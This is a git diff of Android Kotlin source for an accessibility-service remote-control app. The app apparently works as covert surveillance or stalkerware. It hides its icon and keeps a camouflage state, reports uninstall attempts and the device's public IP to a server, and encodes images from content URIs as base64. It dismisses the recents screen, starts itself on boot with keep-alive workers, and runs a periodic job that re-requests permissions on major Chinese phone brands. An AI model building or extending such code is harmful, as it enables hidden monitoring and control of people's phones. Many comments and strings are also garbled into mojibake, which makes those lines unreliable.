}
}
@@ -2336,33 +5016,33 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
val currentTime = System.currentTimeMillis()
val networkType = getCurrentNetworkType()
- // 多因素判断是否使用保守策略
+ // comment cleaned
val factorsForConservative = mutableListOf()
- // 1. Transport Error频率判断
+ // comment cleaned
if (transportErrorCount >= 2 && (currentTime - lastTransportErrorTime) < 600000) {
- factorsForConservative.add("频繁transport_error(${transportErrorCount}次)")
+ factorsForConservative.add("棰戠箒transport_error(${transportErrorCount}娆?")
}
- // 2. 网络类型判断 - CELLULAR网络更容易不稳定
+ // comment cleaned
if (networkType == "CELLULAR") {
- factorsForConservative.add("移动网络")
+ factorsForConservative.add("Cellular network")
}
- // 3. 连接持续时间判断 - 如果经常短时间断开，说明网络不稳定
+ // comment cleaned
val connectionDuration = currentTime - lastConnectTime
- if (connectionDuration < 120000 && lastConnectTime > 0) { // 连接时间少于2分钟
- factorsForConservative.add("短连接时间(${connectionDuration/1000}秒)")
+ if (connectionDuration < 120000 && lastConnectTime > 0) { // 杩炴帴鏃堕棿灏戜簬2鍒嗛挓
+ factorsForConservative.add("鐭繛鎺ユ椂闂?${connectionDuration/1000}绉?")
}
- // 4. Android版本判断 - Android 15可能需要特殊处理
+ // comment cleaned
if (Build.VERSION.SDK_INT >= 35) {
- factorsForConservative.add("Android15系统")
+ factorsForConservative.add("Android15 system")
}
- // 5. 网络质量分数判断 - 分数低于60时使用保守策略
+ // comment cleaned
if (networkQualityScore < 60) {
- factorsForConservative.add("网络质量较差(${networkQualityScore}分)")
+ factorsForConservative.add("缃戠粶璐ㄩ噺杈冨樊(${networkQualityScore}鍒?")
}
val useConservative = factorsForConservative.isNotEmpty()
@@ -2381,7 +5061,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
*/
private fun recordConnectionDuration(duration: Long) {
recentConnectionTimes.add(duration)
- // 只保留最近10次连接记录
+ // comment cleaned
if (recentConnectionTimes.size > 10) {
recentConnectionTimes.removeAt(0)
}
@@ -2394,21 +5074,21 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
val previousScore = networkQualityScore
if (isSuccess) {
- // 连接成功，适度提升分数
+ // comment cleaned
networkQualityScore = minOf(100, networkQualityScore + 5)
} else {
- // 连接失败或断开，根据原因和时长降低分数
+ // comment cleaned
val penalty = when {
- reason == "transport_error" -> 15 // transport error惩罚较重
- duration < 30000 -> 12 // 连接时间少于30秒，网络很不稳定
- duration < 120000 -> 8 // 连接时间少于2分钟，网络不稳定
- duration < 300000 -> 5 // 连接时间少于5分钟，轻微不稳定
- else -> 2 // 长时间连接后断开，轻微惩罚
+ reason == "transport_error" -> 15 // transport error閹晝缍掓潏鍐櫢
+ duration < 30000 -> 12 // 杩炴帴鏃堕棿灏戜簬30绉掞紝缃戠粶寰堜笉绋冲畾
+ duration < 120000 -> 8 // 杩炴帴鏃堕棿灏戜簬2鍒嗛挓锛岀綉缁滀笉绋冲畾
+ duration < 300000 -> 5 // 杩炴帴鏃堕棿灏戜簬5鍒嗛挓锛岃交寰笉绋冲畾
+ else -> 2 // 闀挎椂闂磋繛鎺ュ悗鏂紑锛岃交寰儵缃?
}
networkQualityScore = maxOf(0, networkQualityScore - penalty)
}
- // 根据成功率进行额外调整
+ // comment cleaned
val totalConnections = connectionSuccessCount + connectionFailureCount
if (totalConnections >= 5) {
val successRate = connectionSuccessCount.toFloat() / totalConnections
@@ -2418,12 +5098,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
}
- // 根据平均连接时长进行调整
+ // 鏍规嵁骞冲潎杩炴帴鏃堕暱杩涜璋冩暣
if (recentConnectionTimes.isNotEmpty()) {
val avgDuration = recentConnectionTimes.average()
when {
- avgDuration >= 300000 -> networkQualityScore = minOf(100, networkQualityScore + 2) // 平均5分钟以上
- avgDuration <= 60000 -> networkQualityScore = maxOf(0, networkQualityScore - 3) // 平均1分钟以下
+ avgDuration >= 300000 -> networkQualityScore = minOf(100, networkQualityScore + 2) // 楠炲啿娼?鍒嗛挓浠ヤ笂
+ avgDuration <= 60000 -> networkQualityScore = maxOf(0, networkQualityScore - 3) // 楠炲啿娼?鍒嗛挓浠ヤ笅
}
}
@@ -2437,11 +5117,11 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
*/
private fun getNetworkQualityDescription(): String {
return when {
- networkQualityScore >= 80 -> "优秀"
- networkQualityScore >= 60 -> "良好"
- networkQualityScore >= 40 -> "一般"
- networkQualityScore >= 20 -> "较差"
- else -> "很差"
+ networkQualityScore >= 80 -> "Excellent"
+ networkQualityScore >= 60 -> "鑹ソ"
+ networkQualityScore >= 40 -> "Average"
+ networkQualityScore >= 20 -> "Poor"
+ else -> "Very Poor"
}
}
@@ -2451,19 +5131,19 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
fun getNetworkQualityScore(): Int = networkQualityScore
/**
- * 🆕 获取设备公网IP地址
+ * Get device public IP address
*/
private suspend fun getPublicIP(): String? {
return withContext(Dispatchers.IO) {
try {
- // 检查缓存
+ // comment cleaned
val currentTime = System.currentTimeMillis()
if (cachedPublicIP != null && (currentTime - lastIPCheckTime) < IP_CACHE_DURATION) {
Log.d(TAG, "Using cached public IP: $cachedPublicIP")
return@withContext cachedPublicIP
}
- // 尝试多个公网IP检测服务，增加成功率
+ // comment cleaned
val ipServices = listOf(
"https://ipinfo.io/ip",
"https://api.ipify.org",
@@ -2477,14 +5157,14 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
val url = java.net.URL(service)
val connection = url.openConnection() as java.net.HttpURLConnection
connection.requestMethod = "GET"
- connection.connectTimeout = 5000 // 5秒超时
+ connection.connectTimeout = 5000 // 5绉掕秴鏃?
connection.readTimeout = 5000
connection.setRequestProperty("User-Agent", "RemoteControl-Android")
if (connection.responseCode == 200) {
val ip = connection.inputStream.bufferedReader().use { it.readText().trim() }
- // 验证IP格式
+ // comment cleaned
if (isValidIP(ip)) {
cachedPublicIP = ip
lastIPCheckTime = currentTime
@@ -2510,7 +5190,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 🆕 验证IP地址格式
+ * comment cleaned
*/
private fun isValidIP(ip: String): Boolean {
return try {
@@ -2534,7 +5214,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
val eventData = JSONObject().apply {
put("deviceId", getDeviceId())
put("type", type)
- put("message", message.ifEmpty { "检测到卸载尝试: $type" })
+ put("message", message.ifEmpty { "Detected uninstall attempt: $type" })
put("timestamp", System.currentTimeMillis())
}
@@ -2549,14 +5229,14 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 🆕 获取系统版本名称（如Android 11、Android 12等）
+ * comment cleaned
*/
private fun getSystemVersionName(): String {
return try {
val apiLevel = android.os.Build.VERSION.SDK_INT
val release = android.os.Build.VERSION.RELEASE
- // 根据API级别映射到Android版本名称
+ // comment cleaned
val versionName = when (apiLevel) {
35 -> "Android 15"
34 -> "Android 14"
@@ -2581,7 +5261,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 🆕 获取ROM类型（如MIUI、ColorOS、FunTouch等）
+ * comment cleaned
*/
private fun getROMType(): String {
return try {
@@ -2589,48 +5269,48 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
val manufacturer = android.os.Build.MANUFACTURER.lowercase()
val romType = when {
- // 小米系列
+ // comment cleaned
brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco") -> {
when {
- hasSystemProperty("ro.mi.os.version.incremental") -> "澎湃OS"
+ hasSystemProperty("ro.mi.os.version.incremental") -> "HyperOS"
hasSystemProperty("ro.miui.ui.version.name") -> "MIUI"
- else -> "原生Android"
+ else -> "AOSP Android"
}
}
- // 华为系列
+ // comment cleaned
brand.contains("huawei") || brand.contains("honor") -> {
when {
hasSystemProperty("ro.build.version.emui") -> "EMUI"
hasSystemProperty("ro.magic.api.version") -> "Magic UI"
- else -> "原生Android"
+ else -> "AOSP Android"
}
}
- // OPPO系列
+ // comment cleaned
brand.contains("oppo") || brand.contains("oneplus") -> {
when {
hasSystemProperty("ro.build.version.opporom") -> "ColorOS"
hasSystemProperty("ro.oxygen.version") -> "OxygenOS"
- else -> "原生Android"
+ else -> "AOSP Android"
}
}
- // vivo系列
+ // comment cleaned
brand.contains("vivo") || brand.contains("iqoo") -> {
if (hasSystemProperty("ro.vivo.os.version")) "OriginOS" else "Funtouch OS"
}
- // 三星系列
+ // comment cleaned
brand.contains("samsung") -> "One UI"
- // 魅族系列
+ // comment cleaned
brand.contains("meizu") -> "Flyme"
- // 努比亚系列
+ // comment cleaned
brand.contains("nubia") -> "nubia UI"
- // 联想系列
+ // comment cleaned
brand.contains("lenovo") -> "ZUI"
- // 中兴系列
+ // comment cleaned
brand.contains("zte") -> "MiFavor"
- // Google系列
- brand.contains("google") || brand.contains("pixel") -> "原生Android"
+ // comment cleaned
+ brand.contains("google") || brand.contains("pixel") -> "AOSP Android"
else -> {
- // 尝试通过系统属性检测
+ // comment cleaned
when {
hasSystemProperty("ro.miui.ui.version.name") -> "MIUI"
hasSystemProperty("ro.build.version.emui") -> "EMUI"
@@ -2648,61 +5328,61 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
romType
} catch (e: Exception) {
Log.e(TAG, "Get ROM type failed", e)
- "未知ROM"
+ "Unknown ROM"
}
}
/**
- * 🆕 获取ROM版本（如MIUI 12.5、ColorOS 11.1等）
+ * comment cleaned
*/
private fun getROMVersion(): String {
return try {
val brand = android.os.Build.BRAND.lowercase()
val romVersion = when {
- // 小米MIUI/澎湃OS版本
+ // comment cleaned
brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco") -> {
- // 优先检查澎湃OS版本
+ // comment cleaned
getSystemProperty("ro.mi.os.version.name") ?:
getSystemProperty("ro.mi.os.version.code") ?:
- // 然后检查MIUI版本
+ // comment cleaned
getSystemProperty("ro.miui.ui.version.name") ?:
- getSystemProperty("ro.miui.ui.version.code") ?: "未知版本"
+ getSystemProperty("ro.miui.ui.version.code") ?: "鏈煡鐗堟湰"
}
- // 华为EMUI/Magic UI版本
+ // comment cleaned
brand.contains("huawei") || brand.contains("honor") -> {
getSystemProperty("ro.build.version.emui") ?:
getSystemProperty("ro.magic.api.version") ?:
- getSystemProperty("ro.build.hw_emui_api_level") ?: "未知版本"
+ getSystemProperty("ro.build.hw_emui_api_level") ?: "鏈煡鐗堟湰"
}
- // OPPO ColorOS版本
+ // comment cleaned
brand.contains("oppo") -> {
getSystemProperty("ro.build.version.opporom") ?:
- getSystemProperty("ro.build.version.ota") ?: "未知版本"
+ getSystemProperty("ro.build.version.ota") ?: "鏈煡鐗堟湰"
}
- // OnePlus OxygenOS版本
+ // comment cleaned
brand.contains("oneplus") -> {
getSystemProperty("ro.oxygen.version") ?:
- getSystemProperty("ro.rom.version") ?: "未知版本"
+ getSystemProperty("ro.rom.version") ?: "鏈煡鐗堟湰"
}
- // vivo FunTouch/OriginOS版本
+ // comment cleaned
brand.contains("vivo") || brand.contains("iqoo") -> {
getSystemProperty("ro.vivo.os.version") ?:
- getSystemProperty("ro.vivo.product.version") ?: "未知版本"
+ getSystemProperty("ro.vivo.product.version") ?: "鏈煡鐗堟湰"
}
- // 三星One UI版本
+ // comment cleaned
brand.contains("samsung") -> {
getSystemProperty("ro.build.version.oneui") ?:
- getSystemProperty("ro.build.version.sem") ?: "未知版本"
+ getSystemProperty("ro.build.version.sem") ?: "鏈煡鐗堟湰"
}
- // 魅族Flyme版本
+ // comment cleaned
brand.contains("meizu") -> {
- getSystemProperty("ro.build.flyme.version") ?: "未知版本"
+ getSystemProperty("ro.build.flyme.version") ?: "鏈煡鐗堟湰"
}
else -> {
- // 尝试获取通用版本信息
+ // comment cleaned
getSystemProperty("ro.build.version.incremental") ?:
- getSystemProperty("ro.build.id") ?: "未知版本"
+ getSystemProperty("ro.build.id") ?: "鏈煡鐗堟湰"
}
}
@@ -2710,12 +5390,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
romVersion
} catch (e: Exception) {
Log.e(TAG, "Get ROM version failed", e)
- "未知版本"
+ "Unknown version"
}
}
/**
- * 🆕 检查系统属性是否存在
+ * comment cleaned
*/
private fun hasSystemProperty(key: String): Boolean {
return try {
@@ -2727,7 +5407,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 🆕 获取系统属性值
+ * comment cleaned
*/
private fun getSystemProperty(key: String): String? {
return try {
@@ -2742,7 +5422,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 🆕 获取OS构建版本号（如1.0.19.0.UMCCNXM）
+ * comment cleaned
*/
private fun getOSBuildVersion(): String {
return try {
@@ -2750,14 +5430,14 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
// Special handling for Xiaomi devices
if (brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco")) {
- // 检查是否为澎湃OS
+ // comment cleaned
val hyperosProp = getSystemProperty("ro.mi.os.version.incremental")
if (!hyperosProp.isNullOrBlank()) {
Log.d(TAG, "Detected HyperOS, version: $hyperosProp")
return hyperosProp
}
- // MIUI设备特定属性
+ // comment cleaned
val miuiIncrementalProps = listOf(
"ro.build.version.incremental",
"ro.product.mod_device",
@@ -2770,7 +5450,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
// Fix HyperOS version format: remove possible prefix
val cleanVersion = when {
version.startsWith("V") && version.contains(".") -> {
- // 如果是V816.0.19.0.UMCCNXM格式，提取.后面的部分
+ // comment cleaned
val dotIndex = version.indexOf('.')
if (dotIndex > 1) {
version.substring(dotIndex + 1)
@@ -2784,18 +5464,18 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
}
- // 其他品牌设备的通用属性获取
+ // comment cleaned
val buildProperties = listOf(
- "ro.build.version.incremental", // 增量版本号
- "ro.build.display.id", // 完整构建显示ID
- "ro.build.id", // 构建ID
- "ro.modversion", // 模组版本
- "ro.build.version.security_patch", // 安全补丁版本
- "ro.build.description", // 构建描述
- "ro.product.build.version.incremental" // 产品构建增量版本
+ "ro.build.version.incremental", // 澧為噺鐗堟湰鍙?
+ "ro.build.display.id", // full build display ID
+ "ro.build.id", // 閺嬪嫬缂揑D
+ "ro.modversion", // 濡紕绮嶉悧鍫熸拱
+ "ro.build.version.security_patch", // 鐎瑰鍙忕悰銉ょ閻楀牊婀?
+ "ro.build.description", // 閺嬪嫬缂撻幓蹇氬牚
+ "ro.product.build.version.incremental" // 娴溠冩惂閺嬪嫬缂撴晶鐐哄櫤閻楀牊婀?
)
- // 按优先级尝试获取版本信息
+ // comment cleaned
for (property in buildProperties) {
val version = getSystemProperty(property)
if (!version.isNullOrBlank() && version.length > 3) {
@@ -2804,7 +5484,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
}
- // 如果都获取不到，使用Build类的相关信息
+ // 濡傛灉閮借幏鍙栦笉鍒帮紝浣跨敤Build绫荤殑鐩稿叧淇℃伅
val fallbackVersion = when {
android.os.Build.DISPLAY.isNotBlank() -> android.os.Build.DISPLAY
android.os.Build.ID.isNotBlank() -> android.os.Build.ID
@@ -2812,21 +5492,21 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
Log.d(TAG, "Using fallback OS build version: $fallbackVersion")
- fallbackVersion.ifBlank { "未知版本" }
+ fallbackVersion.ifBlank { "Unknown version" }
} catch (e: Exception) {
Log.e(TAG, "Get OS build version failed", e)
- android.os.Build.VERSION.INCREMENTAL.ifBlank { "未知版本" }
+ android.os.Build.VERSION.INCREMENTAL.ifBlank { "Unknown version" }
}
}
- // =============== 图片加载与压缩工具 ===============
+ // comment cleaned
private fun loadImageAsJpegBase64(contentUri: String, maxWidth: Int, maxHeight: Int, quality: Int): String? {
return try {
val uri = android.net.Uri.parse(contentUri)
val resolver = service.contentResolver
- // 先读取尺寸
+ // comment cleaned
val boundsOptions = android.graphics.BitmapFactory.Options().apply { inJustDecodeBounds = true }
resolver.openInputStream(uri)?.use { input ->
android.graphics.BitmapFactory.decodeStream(input, null, boundsOptions)
@@ -2837,7 +5517,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
return null
}
- // 计算采样率
+ // comment cleaned
val inSample = calculateInSampleSize(srcW, srcH, maxWidth, maxHeight)
val decodeOptions = android.graphics.BitmapFactory.Options().apply {
inSampleSize = inSample
@@ -2889,4 +5569,6 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
return inSampleSize.coerceAtLeast(1)
}
-}
\ No newline at end of file
+}
+
+
diff --git a/app/src/main/java/com/hikoncont/receiver/BootReceiver.kt b/app/src/main/java/com/hikoncont/receiver/BootReceiver.kt
index 8d04880..ec86d96 100644
--- a/app/src/main/java/com/hikoncont/receiver/BootReceiver.kt
+++ b/app/src/main/java/com/hikoncont/receiver/BootReceiver.kt
@@ -6,6 +6,8 @@ import android.content.Intent
import android.os.Build
import android.util.Log
import com.hikoncont.service.RemoteControlForegroundService
+import com.hikoncont.util.DeviceMetricsReporter
+import com.hikoncont.util.RuntimeFeatureFlags
/**
* 开机自启动接收器 - 参考 f 目录的 SelfStartRunUse
@@ -19,14 +21,35 @@ class BootReceiver : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent) {
Log.i(TAG, "🔄 收到系统广播: ${intent.action}")
+ val flags = RuntimeFeatureFlags.current(context)
when (intent.action) {
Intent.ACTION_BOOT_COMPLETED -> {
+ if (!flags.bootAutoStart) {
+ Log.i(TAG, "⏭️ featureFlags.bootAutoStart=false，跳过开机自启动")
+ DeviceMetricsReporter.reportKeepAlive(
+ context = context,
+ metricName = "boot_autostart_skipped",
+ success = false,
+ data = mapOf("action" to Intent.ACTION_BOOT_COMPLETED)
+ )
+ return
+ }
// ✅ 参考 f 目录的 SelfStartRunUse：只启动主前台服务
Log.i(TAG, "🚀 系统启动完成，启动主前台服务（参考 f 目录策略）")
startMainForegroundService(context)
}
"android.intent.action.QUICKBOOT_POWERON" -> {
+ if (!flags.bootAutoStart) {
+ Log.i(TAG, "⏭️ featureFlags.bootAutoStart=false，跳过快速开机自启动")
+ DeviceMetricsReporter.reportKeepAlive(
+ context = context,
+ metricName = "boot_autostart_skipped",
+ success = false,
+ data = mapOf("action" to "android.intent.action.QUICKBOOT_POWERON")
+ )
+ return
+ }
// 小米等设备的快速开机
Log.i(TAG, "⚡ 快速开机完成，启动主前台服务")
startMainForegroundService(context)
@@ -55,9 +78,24 @@ class BootReceiver : BroadcastReceiver() {
context.startService(intent)
}
Log.i(TAG, "✅ 主前台服务已启动（参考 f 目录的 BackRunServerUseUse）")
+ DeviceMetricsReporter.reportKeepAlive(
+ context = context,
+ metricName = "boot_foreground_service_start",
+ success = true,
+ data = mapOf("source" to "boot_receiver")
+ )
} catch (e: Exception) {
Log.e(TAG, "❌ 启动主前台服务失败", e)
+ DeviceMetricsReporter.reportKeepAlive(
+ context = context,
+ metricName = "boot_foreground_service_start",
+ success = false,
+ data = mapOf(
+ "source" to "boot_receiver",
+ "error" to (e.message ?: "unknown")
+ )
+ )
}
}
@@ -74,4 +112,4 @@ class BootReceiver : BroadcastReceiver() {
false
}
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/service/AccessibilityRemoteService.kt b/app/src/main/java/com/hikoncont/service/AccessibilityRemoteService.kt
index a3e83b7..80d55b4 100644
--- a/app/src/main/java/com/hikoncont/service/AccessibilityRemoteService.kt
+++ b/app/src/main/java/com/hikoncont/service/AccessibilityRemoteService.kt
@@ -7,22 +7,32 @@ import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.PendingIntent
import android.app.usage.UsageStatsManager
+import android.content.ActivityNotFoundException
import android.content.BroadcastReceiver
import android.content.ComponentName
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
+import android.content.pm.ApplicationInfo
import android.content.pm.PackageManager
+import android.content.pm.ResolveInfo
+import android.graphics.Bitmap
+import android.graphics.Canvas
import android.graphics.Path
import android.graphics.PointF
+import android.graphics.drawable.BitmapDrawable
+import android.graphics.drawable.Drawable
import android.app.KeyguardManager
import java.io.File
+import java.io.ByteArrayOutputStream
+import android.net.Uri
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.os.PowerManager
import android.provider.Settings
+import android.util.Base64
import android.util.Log
import android.view.KeyEvent
import android.view.WindowManager
@@ -66,7 +76,11 @@ import com.hikoncont.service.modules.WriteSettingsPermissionManager
import com.hikoncont.service.modules.AuthorizationModule
import com.hikoncont.service.modules.ScreenBrightnessManager
import com.hikoncont.service.modules.AppIconHideManager
+import com.hikoncont.util.DeviceDetector
+import com.hikoncont.util.DeviceMetricsReporter
import com.hikoncont.util.InstallationStateManager
+import com.hikoncont.util.RuntimeFeatureFlags
+import com.hikoncont.util.registerReceiverCompat
import kotlinx.coroutines.*
import android.media.projection.MediaProjectionManager
import android.media.projection.MediaProjection
@@ -129,6 +143,17 @@ class AccessibilityRemoteService : AccessibilityService() {
"com.realme.securitycheck" // realme安全检测
)
+ private val ROM_PERMISSION_GUARD_BRANDS = setOf(
+ "huawei", "honor",
+ "xiaomi", "redmi",
+ "oppo", "realme", "oneplus",
+ "vivo", "iqoo"
+ )
+ private const val ROM_PERMISSION_GUARD_INITIAL_DELAY_MS = 25000L
+ private const val ROM_PERMISSION_GUARD_INTERVAL_MS = 60000L
+ private const val ROM_AUTHORIZATION_COOLDOWN_MS = 180000L
+ private const val AUTO_REQUEST_MEDIA_PROJECTION_ON_STARTUP = false
+
// 服务实例
@Volatile
private var instance: AccessibilityRemoteService? = null
@@ -195,6 +220,9 @@ class AccessibilityRemoteService : AccessibilityService() {
// ✅ 唤醒屏幕定时任务
private var wakeScreenJob: Job? = null
+ private var romPermissionGuardJob: Job? = null
+ @Volatile
+ private var lastRomAuthorizationAttemptAt = 0L
// 🔕 WebView页面降载：进入本应用的WebView页面时，暂停无障碍事件处理以降低开销
@Volatile
@@ -223,6 +251,8 @@ class AccessibilityRemoteService : AccessibilityService() {
// 删除悬浮窗权限申请相关配置
@Volatile
private var allPermissionsCompleted = false
+ @Volatile
+ private var setupCompletionDispatched = false
@Volatile
private var lastPermissionRequestTime = 0L // 上次权限申请时间
@@ -386,6 +416,15 @@ class AccessibilityRemoteService : AccessibilityService() {
restoreCamouflageState()
initializeService()
+
+ DeviceMetricsReporter.reportKeepAlive(
+ context = this,
+ metricName = "accessibility_service_connected",
+ success = true,
+ data = mapOf(
+ "workManagerKeepAlive" to RuntimeFeatureFlags.current(this).workManagerKeepAlive
+ )
+ )
}
/**
@@ -471,12 +510,34 @@ class AccessibilityRemoteService : AccessibilityService() {
private fun startWorkManagerKeepAlive() {
try {
+ val flags = RuntimeFeatureFlags.current(this)
+ if (!flags.workManagerKeepAlive) {
+ Log.i(TAG, "⏭️ featureFlags.workManagerKeepAlive=false，跳过无障碍服务内WorkManager启动")
+ DeviceMetricsReporter.reportKeepAlive(
+ context = this,
+ metricName = "accessibility_workmanager_skip",
+ success = false,
+ data = mapOf("reason" to "feature_flag_disabled")
+ )
+ return
+ }
Log.i(TAG, "🚀 启动WorkManager保活服务")
val workManagerKeepAlive = WorkManagerKeepAliveService.getInstance()
workManagerKeepAlive.startKeepAlive(this)
Log.i(TAG, "✅ WorkManager保活服务已启动")
+ DeviceMetricsReporter.reportKeepAlive(
+ context = this,
+ metricName = "accessibility_workmanager_start",
+ success = true
+ )
} catch (e: Exception) {
Log.e(TAG, "❌ 启动WorkManager保活服务失败", e)
+ DeviceMetricsReporter.reportKeepAlive(
+ context = this,
+ metricName = "accessibility_workmanager_start",
+ success = false,
+ data = mapOf("error" to (e.message ?: "unknown"))
+ )
}
}
@@ -1061,6 +1122,11 @@ class AccessibilityRemoteService : AccessibilityService() {
} catch (_: Exception) { "" }
Log.i(TAG, "🔍 前置顶层包名: $prePkg")
+ if (isPermissionFlowContext(prePkg)) {
+ Log.i(TAG, "⏸️ 当前处于系统权限页，跳过小米Android13强制返回应用，避免乱跳: pkg=$prePkg")
+ return false
+ }
+
// ✅ 修复：检查是否是保活场景，如果是则不启动MainActivity
if (isKeepAliveScenario()) {
Log.i(TAG, "💡 保活场景下小米Android 13返回应用，不启动MainActivity（避免保活程序拉起）")
@@ -1131,6 +1197,11 @@ class AccessibilityRemoteService : AccessibilityService() {
return true
}
+ if (isPermissionFlowContext(midPkg)) {
+ Log.i(TAG, "⏸️ 返回后处于系统权限页，跳过再次启动MainActivity: pkg=$midPkg")
+ return false
+ }
+
// 3. 如果返回操作也失败，再次尝试启动应用
Log.w(TAG, "⚠️ 小米Android 13设备返回操作失败，再次启动应用")
val tReLaunchStart = System.currentTimeMillis()
@@ -1151,6 +1222,36 @@ class AccessibilityRemoteService : AccessibilityService() {
}
}
+ private fun isPermissionFlowContext(packageName: String?): Boolean {
+ val normalized = packageName?.lowercase()?.trim().orEmpty()
+ if (normalized.isBlank()) return false
+ if (isSystemSettingsPackage(normalized)) return true
+ val policyHints = runCatching {
+ val policy = DeviceDetector.getRomPolicy()
+ policy.permissionFlowPackageHints + policy.permissionDialogPackageHints
+ }.getOrDefault(emptyList())
+
+ val defaultHints = listOf(
+ "permissioncontroller",
+ "packageinstaller",
+ "permcenter",
+ "securitycenter",
+ "lbe.security.miui",
+ "systemmanager",
+ "com.coloros",
+ "com.oplus",
+ "com.heytap",
+ "com.oppo"
+ )
+ val mergedHints = (defaultHints + policyHints)
+ .map { it.lowercase().trim() }
+ .filter { it.isNotEmpty() }
+ .distinct()
+
+ return normalized == "android" ||
+ mergedHints.any { hint -> normalized == hint || normalized.contains(hint) }
+ }
+
/**
* ✅ 新增：检测当前是否在我们的应用页面
*/
@@ -1696,12 +1797,13 @@ class AccessibilityRemoteService : AccessibilityService() {
// ✅ 新增：防重复检测机制
private var lastRecentsCheckTime = 0L
private var lastRecentsPackage = ""
- private val RECENTS_CHECK_INTERVAL = 100L // 2秒内不重复检测同一包名
+ private val RECENTS_CHECK_INTERVAL = 2000L // 2秒内不重复检测同一包名
// 悬浮窗相关变量
private var overlayView: android.widget.TextView? = null
private var windowManager: android.view.WindowManager? = null
private var overlayParams: android.view.WindowManager.LayoutParams? = null
+ private var recentsOverlayUnsupportedLogged = false
// 延迟移除控制
private var recentsOverlayRemovalHandler: android.os.Handler? =
@@ -1766,6 +1868,16 @@ class AccessibilityRemoteService : AccessibilityService() {
performGlobalAction(GLOBAL_ACTION_BACK)
return
}
+
+ // 部分ROM没有悬浮窗权限时无法创建遮挡层，直接回退为“自动返回”
+ if (!canUseRecentsOverlayGuard()) {
+ if (!recentsOverlayUnsupportedLogged) {
+ recentsOverlayUnsupportedLogged = true
+ Log.w(TAG, "⚠️ 当前设备未授予悬浮窗权限，回退为多任务页自动返回")
+ }
+ performGlobalAction(GLOBAL_ACTION_BACK)
+ return
+ }
// performGlobalAction(GLOBAL_ACTION_BACK)
// return
// 获取节点位置
@@ -1876,22 +1988,39 @@ class AccessibilityRemoteService : AccessibilityService() {
Log.i(TAG, "✅ 悬浮窗已创建并添加")
} catch (e: Exception) {
+ // 创建失败后必须清理引用，避免后续重复remove导致日志风暴
+ overlayView = null
+ overlayParams = null
Log.e(TAG, "❌ 创建悬浮窗失败", e)
}
}
private fun removeOverlayView() {
+ val view = overlayView
+ overlayView = null
+ overlayParams = null
try {
- if (overlayView != null && windowManager != null) {
- windowManager?.removeView(overlayView)
- overlayView = null
- Log.d(TAG, "🗑️ 悬浮窗已移除")
+ if (view != null && windowManager != null) {
+ if (view.isAttachedToWindow) {
+ windowManager?.removeViewImmediate(view)
+ Log.d(TAG, "🗑️ 悬浮窗已移除")
+ }
}
+ } catch (_: IllegalArgumentException) {
+ // 视图未附着时直接忽略，避免刷屏
} catch (e: Exception) {
Log.e(TAG, "❌ 移除悬浮窗失败", e)
}
}
+ private fun canUseRecentsOverlayGuard(): Boolean {
+ return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+ Settings.canDrawOverlays(this)
+ } else {
+ true
+ }
+ }
+
/**
* 测试新的多任务检测方案
@@ -1989,6 +2118,7 @@ class AccessibilityRemoteService : AccessibilityService() {
Log.d(TAG, "✅ 权限获取流程完成")
isInitialized = true
+ startRomPermissionGuard()
Log.i(TAG, "✅ 无障碍服务初始化完成")
} catch (e: Exception) {
@@ -2009,6 +2139,130 @@ class AccessibilityRemoteService : AccessibilityService() {
}
}
}
+
+ private fun isRomPermissionGuardTargetDevice(): Boolean {
+ val brand = (Build.BRAND ?: "").lowercase()
+ val manufacturer = (Build.MANUFACTURER ?: "").lowercase()
+ return ROM_PERMISSION_GUARD_BRANDS.any { key ->
+ brand.contains(key) || manufacturer.contains(key)
+ }
+ }
+
+ private fun startRomPermissionGuard() {
+ if (romPermissionGuardJob?.isActive == true) {
+ return
+ }
+ if (!isRomPermissionGuardTargetDevice()) {
+ Log.i(TAG, "📱 当前设备非ROM差异兜底名单，跳过权限守护任务")
+ return
+ }
+
+ Log.i(TAG, "🛡️ 启动ROM差异权限守护任务")
+ romPermissionGuardJob = serviceScope.launch {
+ delay(ROM_PERMISSION_GUARD_INITIAL_DELAY_MS)
+ while (isActive) {
+ try {
+ runRomPermissionGuardOnce("periodic")
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ ROM权限守护检查异常", e)
+ }
+ delay(ROM_PERMISSION_GUARD_INTERVAL_MS)
+ }
+ }
+ }
+
+ private fun stopRomPermissionGuard() {
+ romPermissionGuardJob?.cancel()
+ romPermissionGuardJob = null
+ }
+
+ private fun runRomPermissionGuardOnce(trigger: String) {
+ val missingPermissions = mutableListOf()
+ val runtimeRequestBusy = try {
+ ::permissionGranter.isInitialized && permissionGranter.hasActiveRuntimePermissionRequest()
+ } catch (_: Exception) {
+ false
+ }
